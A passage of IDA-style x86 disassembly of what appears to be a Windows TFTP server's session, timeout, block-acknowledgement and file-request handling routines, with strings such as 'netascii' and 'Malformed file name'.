loc_1002877: ; CODE XREF: sub_10027E1+34j
push 1
pop eax
loc_100287A: ; CODE XREF: sub_10027E1+8Bj
pop edi
pop esi
retn 8
sub_10027E1 endp
; =============== S U B R O U T I N E =======================================
sub_100287F proc near ; CODE XREF: sub_1002F31+2C6p
; sub_100333A+2CDp
arg_0 = dword ptr 4
push esi
mov esi, offset dword_1006080
push esi
call ds:dword_1001058
mov ecx, dword_1006098
push esi
mov eax, [esp+8+arg_0]
mov [eax], ecx
mov dword ptr [eax+4], offset dword_1006098
mov [ecx+4], eax
mov dword_1006098, eax
call ds:dword_100104C
push 1
pop eax
pop esi
retn 4
sub_100287F endp
; =============== S U B R O U T I N E =======================================
sub_10028B5 proc near ; CODE XREF: sub_1002A3D+Cp
; sub_1002EC8+8p ...
arg_0 = dword ptr 4
push ebx
mov ebx, ds:dword_1001058
push esi
push edi
mov edi, offset dword_1006080
push edi
call ebx ; dword_1001058
mov eax, dword_1006098
mov ecx, offset dword_1006098
loc_10028D0: ; CODE XREF: sub_10028B5+2Dj
cmp eax, ecx
jz short loc_10028F2
mov edx, [eax+8]
lea esi, [eax-18h]
cmp edx, [esp+0Ch+arg_0]
jz short loc_10028E4
mov eax, [eax]
jmp short loc_10028D0
; ---------------------------------------------------------------------------
loc_10028E4: ; CODE XREF: sub_10028B5+29j
push esi
call ebx ; dword_1001058
push edi
call ds:dword_100104C
mov eax, esi
jmp short loc_10028FB
; ---------------------------------------------------------------------------
loc_10028F2: ; CODE XREF: sub_10028B5+1Dj
push edi
call ds:dword_100104C
xor eax, eax
loc_10028FB: ; CODE XREF: sub_10028B5+3Bj
pop edi
pop esi
pop ebx
retn 4
sub_10028B5 endp
; =============== S U B R O U T I N E =======================================
sub_1002901 proc near ; CODE XREF: sub_100297A+Ap
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+20h]
cmp eax, 0FFFFFFFFh
jz short loc_1002915
push eax
call ds:dword_100111C
loc_1002915: ; CODE XREF: sub_1002901+Bj
mov eax, [esi+10004h]
test eax, eax
jz short loc_100292E
push 0
push eax
push dword_10060A0
call ds:dword_1001158
loc_100292E: ; CODE XREF: sub_1002901+1Cj
push 0
push dword ptr [esi+0FFFCh]
call ds:dword_1001168
push dword ptr [esi+0FFF8h]
call ds:dword_1001054
push esi
call ds:dword_1001028
pop esi
retn 4
sub_1002901 endp
; =============== S U B R O U T I N E =======================================
sub_1002953 proc near ; CODE XREF: sub_100297A+2Fp
; sub_100297A+37p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+1002Ch]
cmp eax, 0FFFFFFFFh
jz short loc_100296B
push eax
call ds:dword_100108C
pop ecx
loc_100296B: ; CODE XREF: sub_1002953+Ej
push esi
call ds:dword_10010A0
pop ecx
pop esi
retn 4
sub_1002953 endp
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_100297A proc near ; CODE XREF: sub_10029BA+55p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_10029B6
push esi
call sub_1002901
mov eax, [esi+24h]
dec eax
jz short loc_10029B0
dec eax
jz short loc_10029A8
dec eax
jz short loc_10029A0
dec eax
jnz short loc_10029B6
push esi
call nullsub_1
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029A0: ; CODE XREF: sub_100297A+19j
push esi
call nullsub_1
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029A8: ; CODE XREF: sub_100297A+16j
push esi
call sub_1002953
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029B0: ; CODE XREF: sub_100297A+13j
push esi
call sub_1002953
loc_10029B6: ; CODE XREF: sub_100297A+7j
; sub_100297A+1Cj ...
pop esi
retn 4
sub_100297A endp
; =============== S U B R O U T I N E =======================================
sub_10029BA proc near ; DATA XREF: sub_10018DB+98o
push ebx
mov ebx, ds:dword_1001058
push esi
push offset dword_1006080
call ebx ; dword_1001058
mov esi, dword_1006098
cmp esi, offset dword_1006098
jz short loc_1002A28
push edi
push ebp
loc_10029D9: ; CODE XREF: sub_10029BA+6Aj
lea edi, [esi-18h]
push edi
call ebx ; dword_1001058
mov ebp, [esi]
inc dword ptr [edi+10008h]
cmp dword ptr [edi+10008h], 4
lea eax, [edi+10008h]
push edi
jb short loc_1002A16
call ebx ; dword_1001058
mov eax, [esi]
mov esi, [esi+4]
mov [esi], eax
mov [eax+4], esi
mov ax, [edi+2Ah]
push eax
call ds:dword_1001104
push edi
call sub_100297A
jmp short loc_1002A1C
; ---------------------------------------------------------------------------
loc_1002A16: ; CODE XREF: sub_10029BA+3Bj
call ds:dword_100104C
loc_1002A1C: ; CODE XREF: sub_10029BA+5Aj
cmp ebp, offset dword_1006098
mov esi, ebp
jnz short loc_10029D9
pop ebp
pop edi
loc_1002A28: ; CODE XREF: sub_10029BA+1Bj
push offset dword_1006080
call ds:dword_100104C
call sub_1001A1F
pop esi
pop ebx
retn 8
sub_10029BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002A3D proc near ; DATA XREF: sub_1002F31+341o
; sub_100333A+32Co
var_10 = byte ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_10028B5
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jz loc_1002B57
mov eax, [esi+1000Ch]
cmp eax, 0Ah
jnb loc_1002B0B
cmp eax, 5
jbe short loc_1002A8E
lea eax, [ebp+var_10]
push eax
call ds:dword_1001024
mov ax, [esi+2Ah]
push eax
call ds:dword_100110C
mov ax, [esi+3Ah]
push eax
call ds:dword_1001104
loc_1002A8E: ; CODE XREF: sub_1002A3D+2Fj
lea eax, [esi+28h]
push 10h
push eax
push ebx
push dword ptr [esi+10020h]
lea eax, [esi+38h]
push eax
push dword ptr [esi+20h]
call ds:dword_1001130
cmp eax, 0FFFFFFFFh
jnz short loc_1002AB3
call ds:dword_10010F8
loc_1002AB3: ; CODE XREF: sub_1002A3D+6Ej
mov edi, [esi+10004h]
inc dword ptr [esi+1000Ch]
cmp edi, ebx
jz loc_1002B4C
cmp [esi+10028h], ebx
jnz short loc_1002AEA
mov eax, [esi+10000h]
lea ecx, [esi+10000h]
shl eax, 1
mov edx, 2710h
mov [ecx], eax
cmp eax, edx
jbe short loc_1002AEA
mov [ecx], edx
loc_1002AEA: ; CODE XREF: sub_1002A3D+90j
; sub_1002A3D+A9j
mov eax, [esi+10000h]
push eax
push eax
push edi
push dword_10060A0
call ds:dword_1001154
cmp eax, ebx
jz short loc_1002B4C
call ds:dword_1001038
jmp short loc_1002B4C
; ---------------------------------------------------------------------------
loc_1002B0B: ; CODE XREF: sub_1002A3D+26j
cmp esi, ebx
jz short loc_1002B57
push offset aTimeout ; "Timeout"
push ebx
push dword ptr [esi+20h]
lea eax, [esi+28h]
push ebx
push eax
call sub_100230A
mov eax, [esi+10004h]
lea edi, [esi+10004h]
cmp eax, ebx
jz short loc_1002B40
push ebx
push eax
push dword_10060A0
call ds:dword_1001158
loc_1002B40: ; CODE XREF: sub_1002A3D+F3j
mov [edi], ebx
mov dword ptr [esi+10008h], 4
loc_1002B4C: ; CODE XREF: sub_1002A3D+84j
; sub_1002A3D+C4j ...
cmp esi, ebx
jz short loc_1002B57
push esi
call ds:dword_100104C
loc_1002B57: ; CODE XREF: sub_1002A3D+17j
; sub_1002A3D+D0j ...
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002A3D endp
; =============== S U B R O U T I N E =======================================
sub_1002B5E proc near ; CODE XREF: sub_1002EC8+3Dp
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
mov ebx, ds:dword_100110C
push ebp
push esi
mov esi, [esp+10h+arg_0]
push edi
mov edi, [esp+14h+arg_4]
xor ebp, ebp
mov eax, [esi+10018h]
push 4
mov [esp+18h+var_4], ebp
mov [edi+20h], eax
call ebx ; dword_100110C
cmp [edi+34h], ax
jnz short loc_1002BA6
mov ax, [esi+10014h]
push eax
call ebx ; dword_100110C
cmp [edi+36h], ax
jnz short loc_1002BA6
and dword ptr [esi+1000Ch], 0
push 1
pop ebp
jmp short loc_1002BCE
; ---------------------------------------------------------------------------
loc_1002BA6: ; CODE XREF: sub_1002B5E+2Aj
; sub_1002B5E+3Aj
mov ax, [edi+36h]
push eax
call ebx ; dword_100110C
mov ax, [edi+34h]
push eax
call ds:dword_1001104
push 4
call ebx ; dword_100110C
cmp [edi+34h], ax
jnz short loc_1002BCE
mov ax, [esi+10014h]
dec ax
push eax
call ebx ; dword_100110C
loc_1002BCE: ; CODE XREF: sub_1002B5E+46j
; sub_1002B5E+62j
test ebp, ebp
jz loc_1002C96
cmp dword ptr [esi+10030h], 0
jz short loc_1002C1C
mov eax, [esi+10004h]
lea edi, [esi+10004h]
test eax, eax
jz short loc_1002BFE
push 0
push eax
push dword_10060A0
call ds:dword_1001158
loc_1002BFE: ; CODE XREF: sub_1002B5E+8Fj
and dword ptr [edi], 0
mov dword ptr [esi+10008h], 4
loc_1002C0B: ; CODE XREF: sub_1002B5E+DBj
; sub_1002B5E+13Ej ...
push esi
call ds:dword_100104C
xor eax, eax
loc_1002C14: ; CODE XREF: sub_1002B5E+183j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_1002C1C: ; CODE XREF: sub_1002B5E+7Fj
inc word ptr [esi+10014h]
push edi
push esi
call sub_10027E1
mov ebp, eax
xor eax, eax
cmp ebp, eax
jnz short loc_1002C3B
mov ax, [edi+0Eh]
push eax
call ebx ; dword_100110C
jmp short loc_1002C0B
; ---------------------------------------------------------------------------
loc_1002C3B: ; CODE XREF: sub_1002B5E+D2j
cmp [esi+10028h], eax
mov [esi+1000Ch], eax
mov [esi+10008h], eax
jnz short loc_1002C59
mov dword ptr [esi+10000h], 3E8h
loc_1002C59: ; CODE XREF: sub_1002B5E+EFj
mov ecx, [esi+10004h]
cmp ecx, eax
jz short loc_1002C78
mov eax, [esi+10000h]
push eax
push eax
push ecx
push dword_10060A0
call ds:dword_1001154
loc_1002C78: ; CODE XREF: sub_1002B5E+103j
mov eax, [esi+1001Ch]
cmp eax, [edi+20h]
jnb short loc_1002C9A
mov ax, [edi+0Eh]
push eax
call ebx ; dword_100110C
mov dword ptr [esi+10030h], 1
jmp short loc_1002C9A
; ---------------------------------------------------------------------------
loc_1002C96: ; CODE XREF: sub_1002B5E+72j
mov ebp, [esp+14h+var_4]
loc_1002C9A: ; CODE XREF: sub_1002B5E+123j
; sub_1002B5E+136j
test ebp, ebp
jz loc_1002C0B
mov ax, [edi+0Eh]
push eax
call ebx ; dword_100110C
add edi, 0Ch
push 10h
push edi
push 0
push dword ptr [esi+10020h]
lea eax, [esi+38h]
push eax
push dword ptr [esi+20h]
call ds:dword_1001130
cmp eax, 0FFFFFFFFh
jnz loc_1002C0B
call ds:dword_10010F8
test esi, esi
jz short loc_1002CDE
push esi
call ds:dword_100104C
loc_1002CDE: ; CODE XREF: sub_1002B5E+177j
push 1
pop eax
jmp loc_1002C14
sub_1002B5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002CE6 proc near ; CODE XREF: sub_1002EC8+34p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, ds:dword_100110C
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
push 3
mov eax, [esi+10018h]
mov [edi+20h], eax
call ebx ; dword_100110C
cmp [edi+34h], ax
jnz short loc_1002D3A
mov ax, [esi+10014h]
inc ax
push eax
call ebx ; dword_100110C
cmp [edi+36h], ax
jnz short loc_1002D3A
inc word ptr [esi+10014h]
xor ebx, ebx
mov [ebp+var_4], 1
mov [esi+10008h], ebx
jmp short loc_1002D9D
; ---------------------------------------------------------------------------
loc_1002D3A: ; CODE XREF: sub_1002CE6+28j
; sub_1002CE6+3Aj
push 3
call ebx ; dword_100110C
cmp [edi+34h], ax
jnz short loc_1002D9B
mov ax, [esi+10014h]
push eax
call ebx ; dword_100110C
cmp [edi+36h], ax
jnz short loc_1002D9B
mov ebx, ds:dword_1001104
push 4
call ebx ; dword_1001104
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax
call ebx ; dword_1001104
add edi, 0Ch
push 10h
mov [esi+3Ah], ax
push edi
push 0
lea eax, [esi+38h]
push 4
push eax
push dword ptr [esi+20h]
call ds:dword_1001130
cmp eax, 0FFFFFFFFh
jnz loc_1002EB3
call ds:dword_10010F8
jmp loc_1002EB3
; ---------------------------------------------------------------------------
loc_1002D9B: ; CODE XREF: sub_1002CE6+5Cj
; sub_1002CE6+6Cj
xor ebx, ebx
loc_1002D9D: ; CODE XREF: sub_1002CE6+52j
cmp [ebp+var_4], ebx
jz short loc_1002DE4
lea eax, [ebp+arg_4]
push eax
mov eax, [edi+2Ch]
push dword ptr [esi+10030h]
sub eax, 4
push eax
lea eax, [edi+38h]
push eax
push dword ptr [esi+1002Ch]
call sub_100373A
cmp [ebp+var_4], ebx
mov [ebp+arg_0], eax
jz short loc_1002DE4
cmp eax, ebx
jge short loc_1002DF7
push ebx
push 3
push dword ptr [edi+8]
lea eax, [edi+0FFF1h]
add edi, 0Ch
push eax
push edi
call sub_100230A
loc_1002DE4: ; CODE XREF: sub_1002CE6+BAj
; sub_1002CE6+E2j
cmp esi, ebx
jz short loc_1002DEF
push esi
call ds:dword_100104C
loc_1002DEF: ; CODE XREF: sub_1002CE6+100j
push 1
pop eax
jmp loc_1002EBC
; ---------------------------------------------------------------------------
loc_1002DF7: ; CODE XREF: sub_1002CE6+E6j
mov eax, [edi+2Ch]
sub eax, 4
cmp eax, [edi+20h]
ja loc_1002EB3
mov ebx, ds:dword_1001104
push 4
call ebx ; dword_1001104
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax
call ebx ; dword_1001104
mov [esi+3Ah], ax
lea eax, [edi+0Ch]
push 10h
xor ebx, ebx
push eax
push ebx
lea eax, [esi+38h]
push 4
push eax
push dword ptr [esi+20h]
call ds:dword_1001130
mov [ebp+arg_0], eax
mov eax, [esi+10004h]
cmp eax, ebx
jz short loc_1002E74
cmp [esi+10028h], ebx
mov [esi+1000Ch], ebx
jnz short loc_1002E5F
mov dword ptr [esi+10000h], 3E8h
loc_1002E5F: ; CODE XREF: sub_1002CE6+16Dj
mov ecx, [esi+10000h]
push ecx
push ecx
push eax
push dword_10060A0
call ds:dword_1001154
loc_1002E74: ; CODE XREF: sub_1002CE6+15Fj
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_1002E80
call ds:dword_10010F8
loc_1002E80: ; CODE XREF: sub_1002CE6+192j
mov eax, [edi+2Ch]
sub eax, 4
cmp eax, [edi+20h]
jnb short loc_1002EB3
mov eax, [esi+10004h]
cmp eax, ebx
jz short loc_1002EA3
push ebx
push eax
push dword_10060A0
call ds:dword_1001158
loc_1002EA3: ; CODE XREF: sub_1002CE6+1ADj
mov [esi+10004h], ebx
mov dword ptr [esi+10008h], 4
loc_1002EB3: ; CODE XREF: sub_1002CE6+A4j
; sub_1002CE6+B0j ...
push esi
call ds:dword_100104C
xor eax, eax
loc_1002EBC: ; CODE XREF: sub_1002CE6+10Cj
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002CE6 endp
; =============== S U B R O U T I N E =======================================
sub_1002EC3 proc near ; CODE XREF: sub_1002EC8+22p
; sub_1002EC8+2Bp
xor eax, eax
retn 8
sub_1002EC3 endp
; =============== S U B R O U T I N E =======================================
sub_1002EC8 proc near ; CODE XREF: sub_1001A91+254p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+8]
call sub_10028B5
test eax, eax
jz short loc_1002F0A
mov ecx, [eax+24h]
dec ecx
jz short loc_1002F03
dec ecx
jz short loc_1002EFA
dec ecx
jz short loc_1002EF1
dec ecx
jnz short loc_1002F0A
push esi
push eax
call sub_1002EC3
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002EF1: ; CODE XREF: sub_1002EC8+1Bj
push esi
push eax
call sub_1002EC3
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002EFA: ; CODE XREF: sub_1002EC8+18j
push esi
push eax
call sub_1002CE6
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002F03: ; CODE XREF: sub_1002EC8+15j
push esi
push eax
call sub_1002B5E
loc_1002F0A: ; CODE XREF: sub_1002EC8+Fj
; sub_1002EC8+1Ej ...
pop esi
retn 4
sub_1002EC8 endp
; =============== S U B R O U T I N E =======================================
sub_1002F0E proc near ; CODE XREF: sub_1002F31+20p
; sub_100333A+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
xor eax, eax
cmp [esp+arg_4], eax
jbe short loc_1002F27
loc_1002F16: ; CODE XREF: sub_1002F0E+17j
mov ecx, [esp+arg_0]
cmp byte ptr [eax+ecx], 0
jz short loc_1002F2C
inc eax
cmp eax, [esp+arg_4]
jb short loc_1002F16
loc_1002F27: ; CODE XREF: sub_1002F0E+6j
xor eax, eax
locret_1002F29: ; CODE XREF: sub_1002F0E+21j
retn 8
; ---------------------------------------------------------------------------
loc_1002F2C: ; CODE XREF: sub_1002F0E+10j
push 1
pop eax
jmp short locret_1002F29
sub_1002F0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002F31 proc near ; CODE XREF: sub_1001A91+223p
; DATA XREF: sub_1001A91+1FCo
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
and [ebp+var_10], 0
and [ebp+var_14], 0
push esi
mov esi, [ebp+arg_0]
push edi
push 0FFBAh
lea ebx, [esi+36h]
push ebx
mov [ebp+var_18], ebx
call sub_1002F0E
test eax, eax
jz loc_100330F
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
push 10034h
repne scasb
not ecx
dec ecx
lea eax, [ecx+ebx+1]
mov [ebp+var_4], eax
call ds:dword_1001094
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_1003331
mov ecx, 400Dh
xor eax, eax
mov edi, ebx
rep stosd
push dword ptr [esi+10h]
call ds:dword_1001120
mov [ebp+var_8], eax
mov ax, [esi+0Eh]
push eax
call ds:dword_1001104
mov edi, [ebp+var_4]
mov [ebp+var_C], edi
mov al, [edi]
test al, al
jz short loc_1002FCD
loc_1002FB5: ; CODE XREF: sub_1002F31+97j
movsx eax, al
push eax
call ds:dword_1001150
mov [edi], al
mov al, [edi+1]
inc edi
pop ecx
test al, al
jnz short loc_1002FB5
mov [ebp+var_C], edi
loc_1002FCD: ; CODE XREF: sub_1002F31+82j
mov edi, [ebp+var_4]
mov eax, offset aNetascii ; "netascii"
loc_1002FD5: ; CODE XREF: sub_1002F31+C0j
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_1002FF7
test cl, cl
jz short loc_1002FF3
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_1002FF7
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_1002FD5
loc_1002FF3: ; CODE XREF: sub_1002F31+AEj
xor eax, eax
jmp short loc_1002FFC
; ---------------------------------------------------------------------------
loc_1002FF7: ; CODE XREF: sub_1002F31+AAj
; sub_1002F31+B8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_1002FFC: ; CODE XREF: sub_1002F31+C4j
test eax, eax
jz short loc_1003037
mov edi, [ebp+var_4]
mov eax, offset aOctet ; "octet"
loc_1003008: ; CODE XREF: sub_1002F31+F3j
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_100302A
test cl, cl
jz short loc_1003026
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_100302A
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_1003008
loc_1003026: ; CODE XREF: sub_1002F31+E1j
xor eax, eax
jmp short loc_100302F
; ---------------------------------------------------------------------------
loc_100302A: ; CODE XREF: sub_1002F31+DDj
; sub_1002F31+EBj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100302F: ; CODE XREF: sub_1002F31+F7j
test eax, eax
jnz loc_10032F6
loc_1003037: ; CODE XREF: sub_1002F31+CDj
mov edi, [ebp+var_18]
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esi+1FFADh]
repne scasb
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
mov [ebp+var_4], edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call sub_100261E
test eax, eax
jnz short loc_1003071
push offset aMalformedFileN ; "Malformed file name"
jmp short loc_10030CB
; ---------------------------------------------------------------------------
loc_1003071: ; CODE XREF: sub_1002F31+137j
push [ebp+var_8]
push offset dword_1005CE8
call sub_10039D6
test eax, eax
jnz short loc_1003093
push [ebp+var_8]
push offset dword_1005D20
call sub_10039D6
test eax, eax
jz short loc_10030A4
loc_1003093: ; CODE XREF: sub_1002F31+14Fj
push [ebp+var_4]
push offset dword_1005D58
call sub_10039D6
test eax, eax
jnz short loc_10030B0
loc_10030A4: ; CODE XREF: sub_1002F31+160j
call ds:dword_10010AC
push 0
push 2
jmp short loc_1003100
; ---------------------------------------------------------------------------
loc_10030B0: ; CODE XREF: sub_1002F31+171j
push (offset dword_1005E07+1)
push 0FFBCh
push [ebp+var_4]
call sub_100273D
test eax, eax
jnz short loc_10030CF
push offset aFileNameTooLon ; "File name too long"
loc_10030CB: ; CODE XREF: sub_1002F31+13Ej
push 0
jmp short loc_1003100
; ---------------------------------------------------------------------------
loc_10030CF: ; CODE XREF: sub_1002F31+193j
push 8000h
push [ebp+var_4]
call ds:dword_10010E4
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebx+1002Ch], eax
jnz short loc_1003116
mov esi, ds:dword_10010AC
call esi ; dword_10010AC
push dword ptr [eax]
call ds:dword_100102C
call esi ; dword_10010AC
push 0
push 1
loc_1003100: ; CODE XREF: sub_1002F31+17Dj
; sub_1002F31+19Cj
mov eax, [ebp+arg_0]
push dword ptr [eax+8]
lea ecx, [eax+0FFF1h]
add eax, 0Ch
push ecx
push eax
jmp loc_1003308
; ---------------------------------------------------------------------------
loc_1003116: ; CODE XREF: sub_1002F31+1B7j
mov edi, ds:dword_1001088
push 2
push 0
push eax
call edi ; dword_1001088
mov esi, [ebp+arg_0]
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_1003140
push 0
push 0
mov [esi+24h], eax
push dword ptr [ebx+1002Ch]
call edi ; dword_1001088
add esp, 0Ch
loc_1003140: ; CODE XREF: sub_1002F31+1FBj
cmp eax, 0FFFFFFFFh
jnz short loc_1003159
mov edi, ds:dword_10010AC
call edi ; dword_10010AC
call edi ; dword_10010AC
push dword ptr [eax]
call ds:dword_100102C
jmp short loc_1003197
; ---------------------------------------------------------------------------
loc_1003159: ; CODE XREF: sub_1002F31+212j
push 0
push 2
push 2
call ds:dword_100112C
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jz short loc_1003191
mov eax, [esi+1Ch]
and [ebp+var_26], 0
mov [ebp+var_24], eax
lea eax, [ebp+var_28]
push 10h
push eax
push edi
mov [ebp+var_28], 2
call ds:dword_1001124
test eax, eax
jz short loc_10031A3
loc_1003191: ; CODE XREF: sub_1002F31+23Cj
call ds:dword_10010F8
loc_1003197: ; CODE XREF: sub_1002F31+226j
push offset aInsufficientRe ; "Insufficient resources"
push 0
jmp loc_10032FA
; ---------------------------------------------------------------------------
loc_10031A3: ; CODE XREF: sub_1002F31+25Ej
push ebx
mov [esi+8], edi
call ds:dword_1001044
mov [ebx+20h], edi
add esi, 0Ch
lea edi, [ebx+28h]
mov [ebp+var_8], esi
movsd
movsd
movsd
movsd
xor edi, edi
push edi
push edi
push edi
push edi
call ds:dword_1001040
cmp eax, edi
mov [ebx+0FFF8h], eax
jz short loc_10031E8
push 2
push eax
push [ebp+var_4]
call sub_100188E
cmp eax, edi
mov [ebx+0FFFCh], eax
jnz short loc_10031F3
loc_10031E8: ; CODE XREF: sub_1002F31+2A0j
call ds:dword_1001038
jmp loc_1003312
; ---------------------------------------------------------------------------
loc_10031F3: ; CODE XREF: sub_1002F31+2B5j
add ebx, 18h
push ebx
call sub_100287F
push 1
pop esi
push [ebp+var_4]
mov [ebp+var_14], esi
call sub_10028B5
mov ebx, eax
cmp ebx, edi
jz loc_1003312
lea edi, [ebx+10028h]
lea eax, [ebx+38h]
push edi
push eax
lea eax, [ebx+10024h]
mov [ebp+var_10], esi
push eax
mov eax, [ebp+var_C]
push esi
mov esi, [ebp+arg_0]
inc eax
push eax
push esi
call sub_10023D8
test eax, eax
jnz loc_1003312
cmp [edi], eax
jz short loc_1003255
mov eax, [esi+28h]
imul eax, 3E8h
mov [ebx+10000h], eax
jmp short loc_100325F
; ---------------------------------------------------------------------------
loc_1003255: ; CODE XREF: sub_1002F31+311j
mov dword ptr [ebx+10000h], 3E8h
loc_100325F: ; CODE XREF: sub_1002F31+322j
mov eax, [ebx+10000h]
push 0
push eax
push eax
push dword ptr [ebx+20h]
lea eax, [ebx+10004h]
push offset sub_1002A3D
push eax
push dword_10060A0
call ds:dword_1001178
push 1
pop edi
mov [ebx+24h], edi
mov eax, [esi+20h]
push esi
push ebx
mov [ebx+10018h], eax
mov [ebx+10014h], di
call sub_10027E1
push 10h
xor ecx, ecx
push [ebp+var_8]
cmp eax, ecx
mov [ebx+1000Ch], ecx
push ecx
push dword ptr [ebx+10020h]
jz short loc_10032D9
lea eax, [ebx+38h]
push eax
push [ebp+var_4]
call ds:dword_1001130
mov ecx, [ebx+1001Ch]
cmp ecx, [esi+20h]
jnb short loc_10032E9
mov [ebx+10030h], edi
jmp short loc_10032E9
; ---------------------------------------------------------------------------
loc_10032D9: ; CODE XREF: sub_1002F31+386j
add esi, 0FFF1h
push esi
push [ebp+var_4]
call ds:dword_1001130
loc_10032E9: ; CODE XREF: sub_1002F31+39Ej
; sub_1002F31+3A6j
cmp eax, 0FFFFFFFFh
jnz short loc_1003312
call ds:dword_10010F8
jmp short loc_1003312
; ---------------------------------------------------------------------------
loc_10032F6: ; CODE XREF: sub_1002F31+100j
push 0
push 4
loc_10032FA: ; CODE XREF: sub_1002F31+26Dj
push dword ptr [esi+8]
lea eax, [esi+0FFF1h]
add esi, 0Ch
push eax
push esi
loc_1003308: ; CODE XREF: sub_1002F31+1E0j
call sub_100230A
jmp short loc_1003312
; ---------------------------------------------------------------------------
loc_100330F: ; CODE XREF: sub_1002F31+27j
mov ebx, [ebp+arg_0]
loc_1003312: ; CODE XREF: sub_1002F31+2BDj
; sub_1002F31+2DDj ...
test ebx, ebx
jz short loc_1003331
cmp [ebp+var_10], 0
jz short loc_1003323
push ebx
call ds:dword_100104C
loc_1003323: ; CODE XREF: sub_1002F31+3E9j
cmp [ebp+var_14], 0
jnz short loc_1003331
push ebx
call ds:dword_10010A0
pop ecx
loc_1003331: ; CODE XREF: sub_1002F31+50j
; sub_1002F31+3E3j ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_1002F31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100333A proc near ; DATA XREF: sub_1001A91+20Fo
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
and [ebp+var_10], 0
and [ebp+var_14], 0
push ebx
push esi
push edi
push 10034h
call ds:dword_1001094
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_1003731
mov ecx, 400Dh
xor eax, eax
mov edi, ebx
push 0FFBAh
rep stosd
mov eax, [ebp+arg_0]
lea esi, [eax+36h]
push esi
mov [ebp+var_4], esi
call sub_1002F0E
test eax, eax
jz loc_1003712
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebp+arg_0]
not ecx
push dword ptr [edi+10h]
dec ecx
lea esi, [ecx+esi+1]
call ds:dword_1001120
mov [ebp+var_18], eax
mov ax, [edi+0Eh]
push eax
call ds:dword_1001104
cmp byte ptr [esi], 0
mov edi, esi
mov [ebp+var_C], edi
jz short loc_10033E1
loc_10033BC: ; CODE XREF: sub_100333A+A2j
movsx eax, byte ptr [edi]
push eax
call ds:dword_100114C
test eax, eax
movsx eax, byte ptr [edi]
pop ecx
jz short loc_10033D6
push eax
call ds:dword_1001150
pop ecx
loc_10033D6: ; CODE XREF: sub_100333A+92j
mov [edi], al
inc edi
cmp byte ptr [edi], 0
jnz short loc_10033BC
mov [ebp+var_C], edi
loc_10033E1: ; CODE XREF: sub_100333A+80j
mov eax, offset aNetascii ; "netascii"
mov edi, esi
loc_10033E8: ; CODE XREF: sub_100333A+CAj
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_100340A
test cl, cl
jz short loc_1003406
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_100340A
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_10033E8
